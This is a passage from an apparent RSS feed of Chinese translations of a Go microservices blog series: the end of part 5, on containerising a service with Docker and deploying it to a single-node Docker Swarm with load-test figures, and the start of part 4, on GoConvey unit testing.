&lt;p&gt;Docker 文档将任务定义为某种&lt;em&gt;承载 Docker 容器和在容器内运行的命令&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;管理者节点将启动给定容器镜像的任务分配给工作者节点。&lt;/p&gt;
&lt;p&gt;下图展示了微服务格局的可能（简化）的部署图例，其中，两个节点总共运行抽象于两个服务（accountservice, quotes-service）的五个容器实例。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;p&gt;尽管本部分不会更改之前系列中的任何 Go 代码，但我们将添加一些新文件以在 Docker 上运行。&lt;/p&gt;
&lt;p&gt;可以从 git 中检出对应的分支，以获取已完成的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout P5
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;容器化我们的 accountservice&lt;/h2&gt;
&lt;h3&gt;Docker 安装&lt;/h3&gt;
&lt;p&gt;为了使这部分工作，您需要在开发机器上安装 Docker。&lt;/p&gt;
&lt;p&gt;建议您针对操作系统遵循&lt;a href=&quot;https://docs.docker.com/engine/installation/&quot;&gt;本指南&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;就我而言，在为该博客系列部署代码时，我就已经使用 Docker Toolbox 和 Virtualbox 了，但是您也可以使用 Docker for &lt;a href=&quot;https://docs.docker.com/docker-for-mac/&quot;&gt;Mac&lt;/a&gt;/&lt;a href=&quot;https://docs.docker.com/docker-for-windows/&quot;&gt;Windows&lt;/a&gt; 或在 &lt;a href=&quot;https://docs.docker.com/engine/getstarted/step_one/#/docker-for-linux&quot;&gt;Linux&lt;/a&gt; 上运行原生的 Docker。&lt;/p&gt;
&lt;h3&gt;创建一个 Dockerfile&lt;/h3&gt;
&lt;p&gt;一个 &lt;a href=&quot;https://docs.docker.com/engine/reference/builder/&quot;&gt;Dockerfile&lt;/a&gt; 是 Docker 构建&lt;a href=&quot;https://docs.docker.com/engine/getstarted/step_two/&quot;&gt;镜像&lt;/a&gt;时您希望在其中包含什么的配方。&lt;/p&gt;
&lt;p&gt;让我们从在 &lt;em&gt;/accountservice&lt;/em&gt; 文件夹中创建一个名为 &lt;em&gt;Dockerfile&lt;/em&gt; 的文件来开始：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM iron/base

EXPOSE 6767
ADD accountservice-linux-amd64 /
ENTRYPOINT [&quot;./accountservice-linux-amd64&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标识说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FROM：定义基础镜像，即我们将从其开始，再构建自己的镜像。iron/base 是一个非常紧凑的镜像，非常适合运行 Go 应用程序&lt;/li&gt;
&lt;li&gt;EXPOSE：定义我们要在内部 Docker 网络上暴露的端口号，使其可以访问&lt;/li&gt;
&lt;li&gt;ADD：将文件 &lt;em&gt;accountservice-linux-amd64&lt;/em&gt; 添加到容器文件系统的根目录（/）&lt;/li&gt;
&lt;li&gt;ENTRYPOINT：定义当 Docker 启动此镜像的容器时要运行的可执行文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;为别的 CPU 架构/操作系统构建&lt;/h3&gt;
&lt;p&gt;如您所见，我们添加的文件名称中带有 &lt;em&gt;linux-amd64&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;尽管我们可以任意命名 Go 可执行文件，但我喜欢使用将操作系统和目标 CPU 平台放在可执行文件名称中的约定。&lt;/p&gt;
&lt;p&gt;我是在运行 OS X 的 Mac 上编写此博客系列的。&lt;/p&gt;
&lt;p&gt;因此，如果我在 &lt;em&gt;/goblog/accountservice&lt;/em&gt; 文件夹中从命令行构建 accountservice 的 go 可执行文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这将在同一文件夹中创建一个名为 &lt;em&gt;accountservice&lt;/em&gt; 的可执行文件。&lt;/p&gt;
&lt;p&gt;该可执行文件的问题在于，它无法在我们的 Docker 容器（基于 Linux 的底层操作系统）中运行。&lt;/p&gt;
&lt;p&gt;因此，在构建之前，我们需要设置一些环境变量，以便 go 编译器和链接器知道我们正在为其它操作系统、CPU 体系结构构建，在该示例中为 Linux。&lt;/p&gt;
&lt;p&gt;再次进入 &lt;em&gt;/goblog/accountservice&lt;/em&gt; 目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; export GOOS=linux
&amp;gt; go build -o accountservice-linux-amd64
&amp;gt; export GOOS=darwin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这将生成一个使用 &lt;em&gt;-o&lt;/em&gt; 参数命名的可执行二进制文件。&lt;/p&gt;
&lt;p&gt;我通常会编写自己的 shell 脚本，该脚本会将该过程自动化。&lt;/p&gt;
&lt;p&gt;由于 OS X 和基于 Linux 的容器都在 AMD64 CPU 架构上运行，因此我们不需要设置（和重置）GOARCH 环境变量。&lt;/p&gt;
&lt;p&gt;但是，如果要为 32 位 OS 或 ARM 处理器构建，则需要在构建之前适当设置 GOARCH。&lt;/p&gt;
&lt;h3&gt;创建一个 Docker 镜像&lt;/h3&gt;
&lt;p&gt;现在是时候构建我们​​的第一个包含可执行文件的 Docker 镜像了。&lt;/p&gt;
&lt;p&gt;进入 &lt;em&gt;/accountservice&lt;/em&gt; 目录的父目录，它应该是 &lt;em&gt;$GOPATH/src/github.com/callistaenterprise/goblog&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;在构建 Docker 容器镜像时，我们通常使用 [prefix]/[name] 命名约定的标签。&lt;/p&gt;
&lt;p&gt;我通常使用 github 用户名作为前缀，例如：&lt;em&gt;eriklupander/myservicename&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;在本博客系列中，我将使用 someprefix。&lt;/p&gt;
&lt;p&gt;在项目文件夹（/goblog）执行以下命令，来构建基于上述 Dockerfile 的 Docker 镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker build -t someprefix/accountservice accountservice/

Sending build context to Docker daemon 13.17 MB
Step 1/4 : FROM iron/base
 ---&amp;gt; b65946736b2c
Step 2/4 : EXPOSE 6767
 ---&amp;gt; Using cache
 ---&amp;gt; f1147fd9abcf
Step 3/4 : ADD accountservice-linux-amd64 /
 ---&amp;gt; 0841289965c6
Removing intermediate container db3176c5e1e1
Step 4/4 : ENTRYPOINT ./accountservice-linux-amd64
 ---&amp;gt; Running in f99a911fd551
 ---&amp;gt; e5700191acf2
Removing intermediate container f99a911fd551
Successfully built e5700191acf2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好！我们本地的 Docker 镜像存储库现在包含一个名为 &lt;em&gt;someprefix/accountservice&lt;/em&gt; 的镜像。&lt;/p&gt;
&lt;p&gt;如果我们要在多个节点上运行，或者要分享我们的新镜像，则可以使用 docker push 使该镜像可用于除开当前活动的 Docker Engine，其它任何能够 pull 的主机。&lt;/p&gt;
&lt;p&gt;现在，我们可以通过命令行直接运行此镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker run --rm someprefix/accountservice
Starting accountservice
Seeded 100 fake accounts...
2017/02/05 11:52:01 Starting HTTP service at 6767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，请注意，此容器不再在您的宿主机 OS 的 localhost 上运行。&lt;/p&gt;
&lt;p&gt;现在它存在于自己的网络环境中，实际上我们不能直接从宿主机操作系统中调用它。&lt;/p&gt;
&lt;p&gt;当然，有多种方法可以解决此问题，但是我们现在先不管它，而是在本地设置 Docker Swarm 并在那里部署我们的 accountservice。&lt;/p&gt;
&lt;p&gt;使用 Ctrl+C 停止刚才启动的容器。&lt;/p&gt;
&lt;h2&gt;设置一个单节点 Docker Swarm 集群&lt;/h2&gt;
&lt;p&gt;本博客系列的目标之一是：在容器编排器中运行微服务。&lt;/p&gt;
&lt;p&gt;对于大许多人来说，这通常意味着使用 Kubernetes、Docker Swarm 或其它编排器，例如：&lt;a href=&quot;http://mesos.apache.org/&quot;&gt;Apache Mesos&lt;/a&gt; 和 &lt;a href=&quot;https://www.apcera.com/platform&quot;&gt;Apcera&lt;/a&gt;，但是本博客系列将仅专注于 Docker 1.13 的 Docker Swarm。&lt;/p&gt;
&lt;p&gt;在开发机上设置 Docker Swarm 集群时涉及的步骤可能会有所不同，具体取决于您自己的操作系统。&lt;/p&gt;
&lt;p&gt;我建议您遵循&lt;a href=&quot;https://docs.docker.com/engine/swarm/swarm-tutorial/&quot;&gt;这个指南&lt;/a&gt;，或者您可以尝试使用&lt;a href=&quot;https://github.com/callistaenterprise/goblog/blob/master/extras/docker-setup.md&quot;&gt;我的方法&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;还有基于我的同事 Magnus 的&lt;a href=&quot;https://github.com/callistaenterprise/cadec-2017-service-discovery&quot;&gt;发现&lt;/a&gt;，使用 Docker Toolbox、Oracle Virtualbox 和 docker-machine。&lt;/p&gt;
&lt;h3&gt;创建一个 Swarm 管理器&lt;/h3&gt;
&lt;p&gt;一个 Docker Swarm 集群至少包含一个 Swarm Manager 和零到多个的 Swarm Worker。&lt;/p&gt;
&lt;p&gt;为了简单起见，我的示例将仅使用单个 Swarm Manager，至少现在是这样。&lt;/p&gt;
&lt;p&gt;重要的是，在本节之后，您需要有一个正常工作的 Swarm Manager。&lt;/p&gt;
&lt;p&gt;此处的示例使用 &lt;a href=&quot;https://docs.docker.com/machine/overview/&quot;&gt;docker-machine&lt;/a&gt;，并使在 Virtualbox 上运行的虚拟 linux 计算机作为我的 Swarm Manager。&lt;/p&gt;
&lt;p&gt;在我的示例中，我把它称为 &lt;em&gt;swarm-manager-1&lt;/em&gt;。您也可以浏览有关如何创建 Swarm 的&lt;a href=&quot;https://docs.docker.com/engine/swarm/swarm-tutorial/create-swarm/&quot;&gt;官方文档&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;以下命令初始化 docker-machine 宿主机的标识为 &lt;em&gt;swarm-manager-1&lt;/em&gt;，并设置 swarm 的节点和 IP 地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker $(docker-machine config swarm-manager-1) swarm init --advertise-addr $(docker-machine ip swarm-manager-1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果要创建一个多节点 swarm 集群，请保存好上面命令返回的 &lt;em&gt;join-token&lt;/em&gt;，因为稍后在向集群中添加其它节点时将需要它。&lt;/p&gt;
&lt;h3&gt;创建覆盖网络&lt;/h3&gt;
&lt;p&gt;Docker &lt;a href=&quot;https://docs.docker.com/engine/userguide/networking/#/an-overlay-network-with-docker-engine-swarm-mode&quot;&gt;覆盖网络&lt;/a&gt;是我们在向 Swarm 添加诸如 accountservice 之类的服务时使用的一种机制。&lt;/p&gt;
&lt;p&gt;这样它就可以访问在同一 Swarm 集群中运行的其它容器，而无需了解任何有关实际集群拓扑的信息。&lt;/p&gt;
&lt;p&gt;让我们创建一个这样的网络：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker network create --driver overlay my_network
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;my_network&lt;/em&gt; 是我们为该网络指定的名称。&lt;/p&gt;
&lt;h2&gt;部署 accountservice&lt;/h2&gt;
&lt;p&gt;还差一点！现在，是时候将我们的 accountservice 部署为 &lt;a href=&quot;https://docs.docker.com/engine/swarm/how-swarm-mode-works/services/&quot;&gt;Docker Swarm 服务&lt;/a&gt;了。&lt;/p&gt;
&lt;p&gt;这个 &lt;em&gt;docker service create&lt;/em&gt; 命令有很多参数，但用到的很少。&lt;/p&gt;
&lt;p&gt;以下是我们部署 accountservice 的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker service create --name=accountservice --replicas=1 --network=my_network -p=6767:6767 someprefix/accountservice
ntg3zsgb3f7ah4l90sfh43kud
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以下是参数的简要说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;–name：为我们的服务分配一个逻辑名称。这也是其它服务在集群中寻找我们的服务时将使用的名称。因此，如果您有另一个要调用 accountservice 的服务，像这样执行 GET http://accountservice:6767/accounts/10000 就行了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;–replicas：我们想要的服务实例数量。如果我们有一个多节点 Docker Swarm 集群，那么 swarm 引擎将自动在各个节点之间分配实例。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;–network：在这里，我们告诉 accountservice 将其自身附加到刚刚创建的覆盖网络。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-p：映射[内部端口]:[外部端口]。在这里，我们使用了 6767:6767，但是如果我们使用 6767:80 创建了它，那么在外部调用时，我们将从端口 80 访问该服务。请注意，这是使我们的服务可从集群外部访问的机制。通常，您不应该将服务直接向外界公开。取而代之的是，您将使用具有路由规则和安全设置的边缘服务器（例如：反向代理），因此外部使用者只能以您想要的方式访问您的服务。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;someprefix/accountservice：在这里，我们指定想要容器运行的镜像。在我们的例子中，这是我们在创建容器时指定的标签。注意，如果要运行多节点集群，则必须将镜像推送到 Docker 存储库，例如：public 和 free Docker Hub 服务。如果您希望镜像保持私有，则还可以设置私有 Docker 存储库或使用付费服务。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在，运行此命令以查看我们的服务是否成功启动。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker service ls
ID            NAME               REPLICAS  IMAGE                      
ntg3zsgb3f7a  accountservice     1/1       someprefix/accountservice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好！现在，我们可以使用 curl 或浏览器来使用我们的 API 了。&lt;/p&gt;
&lt;p&gt;我们唯一需要知道的是 Swarm 的公开 IP。&lt;/p&gt;
&lt;p&gt;即使我们在具有许多节点的集群上，运行我们服务的一个实例，覆盖网络和 Docker Swarm 也允许我们根据其端口向任何集群主机请求服务。这也意味着两个服务不能在暴露同一端口。&lt;/p&gt;
&lt;p&gt;他们很可能在内部具有相同的端口，但对外部的 Swarm 来说，都算一个。&lt;/p&gt;
&lt;p&gt;还记得我们之前保存的环境变量 &lt;em&gt;ManagerIP&lt;/em&gt; 吗？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; echo $ManagerIP
192.168.99.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果前面关闭了终端，则可以重新导出它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; export ManagerIP=`docker-machine ip swarm-manager-0`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们使用 curl 来访问一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl $ManagerIP:6767/accounts/10000
{&quot;id&quot;:&quot;10000&quot;,&quot;name&quot;:&quot;Person_0&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常运行！&lt;/p&gt;
&lt;h3&gt;部署可视化工具&lt;/h3&gt;
&lt;p&gt;使用 Docker 命令行 API 检查 Swarm 的状态（例如：&lt;em&gt;docker service ls&lt;/em&gt;）是完全可行的。&lt;/p&gt;
&lt;p&gt;使用可视化工具可能看起来更有趣。这种可视化工具是 &lt;a href=&quot;https://github.com/ManoMarks/docker-swarm-visualizer&quot;&gt;Docker Swarm Visualizer 的标记&lt;/a&gt;，我们可以将其部署为 Docker Swarm 服务。&lt;/p&gt;
&lt;p&gt;这为我们提供了一种查看集群拓扑的替代机制。&lt;/p&gt;
&lt;p&gt;它也可以仅用于确保我们可以访问集群中某个端口上公开的服务。&lt;/p&gt;
&lt;p&gt;从预建的容器镜像安装可视化工具只需要运行一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker service create \
  --name=viz \
  --publish=8080:8000/tcp \
  --constraint=node.role==manager \
  --mount=type=bind,src=/var/run/docker.sock,dst=/var/run/docker.sock \
  manomarks/visualizer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这将创建一个我们可以在端口 8000 上访问的服务。&lt;/p&gt;
&lt;p&gt;在您的浏览器中访问：http://$ManagerIP:8000：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;奖励内容！&lt;/h4&gt;
&lt;p&gt;我使用 Go、Docker Remote API 和 &lt;a href=&quot;https://d3js.org/&quot;&gt;D3.js&lt;/a&gt; 制作了一个名为 &lt;a href=&quot;https://github.com/eriklupander/dvizz&quot;&gt;dvizz&lt;/a&gt; 的 Swarm 可视化工具。&lt;/p&gt;
&lt;p&gt;如果喜欢的话，可以直接从预建的镜像安装它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; docker service create \
   --constraint node.role==manager \
   --replicas 1 --name dvizz -p 6969:6969 \
   --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock \
   --network my_network \
   eriklupander/dvizz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在您的浏览器中访问：http://$ManagerIP:6969：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;现在它还有一点 bug，所以不要用于正式环境，但在向上或向下扩展服务时，看着该图变化是一件很有趣的事情，我们将在博客系列的第 7 部分中做这件事。&lt;/p&gt;
&lt;p&gt;如果您想让它变得更酷、更有用和更少 bug，请随意对 dvizz 发起 pull request！&lt;/p&gt;
&lt;h3&gt;添加 quotes-service&lt;/h3&gt;
&lt;p&gt;只有一种服务的微服务不是很常见。&lt;/p&gt;
&lt;p&gt;让我们补救一下：直接从&lt;a href=&quot;https://hub.docker.com/r/eriklupander/quotes-service/&quot;&gt;容器镜像&lt;/a&gt;中部署先前提到的基于 Spring Boot 的 quotes-service，我将其推送到了被标记为 eriklupander/quotes-service 的 &lt;a href=&quot;https://hub.docker.com/&quot;&gt;Docker Hub&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker service create --name=quotes-service --replicas=1 --network=my_network eriklupander/quotes-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果您使用 &lt;em&gt;docker ps&lt;/em&gt; 列出正在运行的 Docker 容器，我们应该看到它已启动（或正在启动）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker ps
CONTAINER ID    IMAGE                       COMMAND                 CREATED         STATUS                           PORTS                                           NAMES
98867f3514a1    eriklupander/quotes-service &quot;java -Djava.security&quot;  12 seconds ago  Up 10 seconds (health: starting) 8080/tcp 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，我们不会为此服务暴露端口，这意味着它将无法从 Swarm 集群外部访问，而只能在内部的 8080 端口访问&lt;/p&gt;
&lt;p&gt;。我们将在第 7 部分中研究服务发现和负载平衡时集成该服务。&lt;/p&gt;
&lt;p&gt;如果您在 Swarm 中添加了 dvizz，则由于我们已经添加了 quotes-service 和 accountservice，它应该显示类似这样的内容。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;copyall.sh 脚本&lt;/h3&gt;
&lt;p&gt;为了使我们的工作更轻松一些，我们可以添加一个 shell 脚本来做自动化重建和重新部署的工作。&lt;/p&gt;
&lt;p&gt;在 &lt;em&gt;/goblog&lt;/em&gt; 的根目录中，创建一个名为 &lt;em&gt;copyall.sh&lt;/em&gt; 的 shell 脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
export GOOS=linux
export CGO_ENABLED=0

cd accountservice;go get;go build -o accountservice-linux-amd64;echo built `pwd`;cd ..

export GOOS=darwin

docker build -t someprefix/accountservice accountservice/

docker service rm accountservice
docker service create --name=accountservice --replicas=1 --network=my_network -p=6767:6767 someprefix/accountservice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该脚本设置了环境变量，因此，我们可以正确地为 Linux/AMD64 构建静态链接的二进制文件。&lt;/p&gt;
&lt;p&gt;然后再运行一些 Docker 命令来构建镜像并将其部署为 Docker Swarm 服务。&lt;/p&gt;
&lt;p&gt;Go 的构建脚本是这个博客系列中不会涉及的主题。&lt;/p&gt;
&lt;p&gt;就个人而言，我喜欢 shell 脚本的简洁，但我偶尔也会使用 &lt;a href=&quot;https://plugins.gradle.org/plugin/org.echocat.golang&quot;&gt;gradle 插件&lt;/a&gt;，而且我知道古老的 &lt;a href=&quot;https://www.gnu.org/software/make/&quot;&gt;make&lt;/a&gt; 也很受欢迎。&lt;/p&gt;
&lt;h2&gt;运行时表现和性能&lt;/h2&gt;
&lt;p&gt;从现在开始，当服务在 Docker Swarm 中运行时，所有基准测试和 CPU/memory 指标都将在该服务上进行。&lt;/p&gt;
&lt;p&gt;这意味着以前博客文章的结果与我们从现在开始所获得的结果不再具有可比性。&lt;/p&gt;
&lt;p&gt;我们将使用与以前相同的 Gatling 测试，同时使用 &lt;em&gt;docker stats&lt;/em&gt; 收集 CPU 使用率和内存使用情况。&lt;/p&gt;
&lt;p&gt;如果您想自己运行负载测试，则第 2 部分中提到的要求仍然适用。&lt;/p&gt;
&lt;p&gt;只需注意，您需要将 &lt;em&gt;-baseUrl=&lt;/em&gt; 参数更改为 Swarm Manager 节点的 IP，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; mvn gatling:execute -Dusers=1000 -Dduration=30 -DbaseUrl=http://$ManagerIP:6767
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;启动后的内存使用情况&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; docker stats $(docker ps | awk &apos;{if(NR&amp;gt;1) print $NF}&apos;)

CONTAINER                                    CPU %               MEM USAGE / LIMIT    
accountservice.1.k8vyt3dulvng9l6y4mj14ncw9   0.00%               5.621 MiB / 1.955 GiB
quotes-service.1.h07fde0ejxru4pqwwgms9qt00   0.06%               293.9 MiB / 1.955 GiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动后，包含一个空的 Linux 发行版和我们正在运行的 accountservice 的容器使用了我分配给 Docker Swarm 节点的 2GB 内存中的约 5.6 mb。&lt;/p&gt;
&lt;p&gt;基于 Java 的 quotes-service 约为 300 mb，尽管可以通过调整 JVM 来一定程度地减少。&lt;/p&gt;
&lt;h3&gt;负载测试期间的 CPU 和内存使用情况&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CONTAINER                                    CPU %               MEM USAGE / LIMIT   
accountservice.1.k8vyt3dulvng9l6y4mj14ncw9   25.50%              35.15 MiB / 1.955 GiBB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Virtualbox 实例，而不是原生 OS X 上运行的 Swarm 中，以 1K req/s 运行时，我们看到的数字与早期的数字非常一致。&lt;/p&gt;
&lt;p&gt;预期内存使用量会稍高一些，毕竟，容器本身也需要一些内存。&lt;/p&gt;
&lt;p&gt;CPU 使用率也大致相似。&lt;/p&gt;
&lt;h3&gt;性能&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;现在的平均等待时间为 4 ms。&lt;/p&gt;
&lt;p&gt;性能直接从亚毫秒增加到毫秒的确切原因可能有几个，我猜测当在原生 OS 上运行 Gatling 测试时，请求通过桥接网络在虚拟实例上运行的 Swarm 时得到了优化。&lt;/p&gt;
&lt;p&gt;不过，能够以 4ms 的平均延迟运行 1K req/s 仍然非常好，包括从 BoltDB 中读取、序列化为 JSON 和通过 HTTP 提供服务。&lt;/p&gt;
&lt;p&gt;为了防止在以后的博客文章中添加链路追踪、日志记录、熔断或其他功能，而需要大量缩小 req/s，现在先记录下 200 req/s 时的情况。&lt;/p&gt;
&lt;p&gt;如下所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;下面总结博客系列的第 5 部分：我们学习了如何在本地启动 Docker Swarm 环境（具有一个节点）以及如何将 accountservice 微服务打包和部署为 Docker Swarm 服务。&lt;/p&gt;
&lt;p&gt;在第 6 部分中，我们将为我们的微服务添加一个 Healthcheck。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>[译]用 Go 语言编写一个微服务博客 — 第四部分 — 使用 GoConvey 进行单元测试和模拟</title><link>https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part4/</link><guid isPermaLink="true">https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part4/</guid><description>介绍了如何使用 GoConvey 进行单元测试和模拟。</description><pubDate>Mon, 20 Mar 2017 17:10:25 GMT</pubDate><content:encoded>&lt;p&gt;原文链接：&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2017/03/03/go-blog-series-part4/&quot;&gt;Go microservices, part 4 - testing and mocking with GoConvey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;应该使用什么方法来测试微服务？为一个特定领域制定测试策略时，是否需要考虑特殊的情况？在本博客系列的第 4 部分中，我们将讨论这个话题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在单元层面中测试微服务的话题&lt;/li&gt;
&lt;li&gt;通过 GoConvey 来编写 BDD 风格的单元测试&lt;/li&gt;
&lt;li&gt;介绍一种模拟技术&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于此部分不会更改任何核心服务，所以不用进行基准测试。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;微服务测试简介&lt;/h2&gt;
&lt;p&gt;首先，应该牢记&lt;a href=&quot;https://martinfowler.com/bliki/TestPyramid.html&quot;&gt;测试金字塔原则&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;单元测试应该占您所有测试中的大部分，因为集成测试、端到端测试、系统测试和验收测试的开发和维护成本很高。&lt;/p&gt;
&lt;p&gt;其次，微服务肯定会带来一些独特的测试挑战。而且其中一部分与传统测试一样，因为微服务有相当一部分也跟传统架构相同。话虽如此，我还是认为有许多微服务特性，超出了传统单元测试的范围，这是我们在博客系列的这一部分中要处理的。&lt;/p&gt;
&lt;p&gt;无论如何，我想强调一些要点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;像往常一样进行单元测试：您的业务逻辑、转换器、验证器等没什么不同，只不过它们在微服务的上下文中运行；&lt;/li&gt;
&lt;li&gt;集成组件，例如用于与其他服务通信、发送消息、访问数据库的客户端等等，应考虑到依赖注入和可模拟性；&lt;/li&gt;
&lt;li&gt;如果不花费足够的时间来编写模拟，那么微服务的很多组件，如：配置访问、与其他服务交流、弹性测试等，可能很难进行单元测试。将这类测试保留到类似集成测试的测试中，在您的测试代码中，您实际上将依赖服务作为 Docker 容器来启动。它会有更大的作用，也更容易启动和运行。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;p&gt;和以前一样，您可以从克隆的仓库中签出相应的分支，以预先获取此部分的完整源代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout P4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;序言&lt;/h3&gt;
&lt;p&gt;Go 中的单元测试遵循 Go 作者决定的一些惯用模式。测试源文件通过命名约定标识。例如，如果我们想要测试 &lt;em&gt;handlers.go&lt;/em&gt; 文件中的内容，则应该在同一目录中创建文件 &lt;em&gt;handlers_test.go&lt;/em&gt;。那么我们就这样做吧。&lt;/p&gt;
&lt;p&gt;我们将从一个该受批评的路径测试开始，该测试断言如果我们请求一个未知路径，则会得到一个 HTTP 404：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package service

import (
        . &quot;github.com/smartystreets/goconvey/convey&quot;
        &quot;testing&quot;
        &quot;net/http/httptest&quot;
)

func TestGetAccountWrongPath(t *testing.T) {

        Convey(&quot;Given a HTTP request for /invalid/123&quot;, t, func() {
                req := httptest.NewRequest(&quot;GET&quot;, &quot;/invalid/123&quot;, nil)
                resp := httptest.NewRecorder()

                Convey(&quot;When the request is handled by the Router&quot;, func() {
                        NewRouter().ServeHTTP(resp, req)

                        Convey(&quot;Then the response should be a 404&quot;, func() {
                                So(resp.Code, ShouldEqual, 404)
                        })
                })
        })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此测试展示了 GoConvey 的 &lt;code&gt;Given-When-Then&lt;/code&gt; 行为驱动结构，以及 &lt;code&gt;So A ShouldEqual B&lt;/code&gt; 的断言样式。它还介绍了 httptest 包的用法，我们使用它来声明请求对象，并方便地对其响应对象进行断言。&lt;/p&gt;
&lt;p&gt;通过移动到 accountservice 根目录并输入以下命令来运行它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; go test ./...
?   	github.com/callistaenterprise/goblog/accountservice	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/dbclient	[no test files]
?   	github.com/callistaenterprise/goblog/accountservice/model	[no test files]
ok  	github.com/callistaenterprise/goblog/accountservice/service	0.012s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对 &lt;code&gt;./...&lt;/code&gt; 感到惊讶？它的意思是：我们告诉 go test 在当前文件夹和所有子文件夹中运行所有测试。我们也可以进入 &lt;em&gt;/service&lt;/em&gt; 文件夹并输入 go test 来仅在该文件夹中执行测试。&lt;/p&gt;
&lt;p&gt;由于 service 包是唯一带有测试文件的包，因此其它包报告：那里没有测试。到目前为止还不错！&lt;/p&gt;
&lt;h3&gt;模拟&lt;/h3&gt;
